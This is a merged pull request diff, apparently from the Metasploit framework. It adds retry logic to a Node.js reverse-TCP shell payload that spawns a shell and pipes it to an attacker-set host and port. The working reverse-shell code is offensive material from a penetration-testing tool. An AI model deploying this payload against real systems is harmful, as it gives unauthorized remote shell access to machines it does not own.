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Enhancing the functionality on the nodejs shell_reverse_tcp payload. #9077

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merged 6 commits into from Oct 16, 2017
Merged

Enhancing the functionality on the nodejs shell_reverse_tcp payload. #9077

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763720c
Merge pull request #6 from rapid7/master
itsmeroy2012 Oct 11, 2017
374c139
Increasing the functionality of the nodejs shell_reverse_tcp payload
itsmeroy2012 Oct 12, 2017
a0abffb
Adding functionality of StagerRetryWait and StagerRetryCount
itsmeroy2012 Oct 12, 2017
6df8c40
adjust whitespace 'no tabs' more reabable
jmartin-tech Oct 13, 2017
b8d0986
Merge pull request #7 from jmartin-r7/adjust_9077_whitespace
itsmeroy2012 Oct 14, 2017
9afc8b5
Updating the payload sizes
itsmeroy2012 Oct 14, 2017
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15 changes: 13 additions & 2 deletions lib/msf/core/payload/nodejs.rb
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Expand Up @@ -56,16 +56,27 @@ def nodejs_reverse_tcp(opts={})
util = require("util"),
sh = cp.spawn(cmd, []);
var client = this;
client.socket = net.connect(#{datastore['LPORT']}, "#{lhost}", #{tls_hash} function() {
var counter=0;
function StagerRepeat(){
client.socket = net.connect(#{datastore['LPORT']}, "#{lhost}", #{tls_hash} function() {
client.socket.pipe(sh.stdin);
if (typeof util.pump === "undefined") {
sh.stdout.pipe(client.socket);
sh.stderr.pipe(client.socket);
sh.stderr.pipe(client.socket);
} else {
util.pump(sh.stdout, client.socket);
util.pump(sh.stderr, client.socket);
}
});
socket.on("error", function(error) {
counter++;
if(counter<= #{datastore['StagerRetryCount']}){
setTimeout(function() { StagerRepeat();}, #{datastore['StagerRetryWait']}*1000);
} else
process.exit();
});
}
StagerRepeat();
})();
EOS
cmd.gsub("\n",'').gsub(/\s+/,' ').gsub(/[']/, '\\\\\'')
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2 changes: 1 addition & 1 deletion modules/payloads/singles/cmd/unix/reverse_nodejs.rb
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Expand Up @@ -10,7 +10,7 @@

module MetasploitModule

CachedSize = 2423
CachedSize = 3239

include Msf::Payload::Single
include Msf::Payload::NodeJS
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2 changes: 1 addition & 1 deletion modules/payloads/singles/nodejs/shell_reverse_tcp.rb
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Expand Up @@ -13,7 +13,7 @@

module MetasploitModule

CachedSize = 601
CachedSize = 805

include Msf::Payload::Single
include Msf::Payload::NodeJS
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2 changes: 1 addition & 1 deletion modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb
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Expand Up @@ -10,7 +10,7 @@

module MetasploitModule

CachedSize = 629
CachedSize = 833

include Msf::Payload::Single
include Msf::Payload::NodeJS
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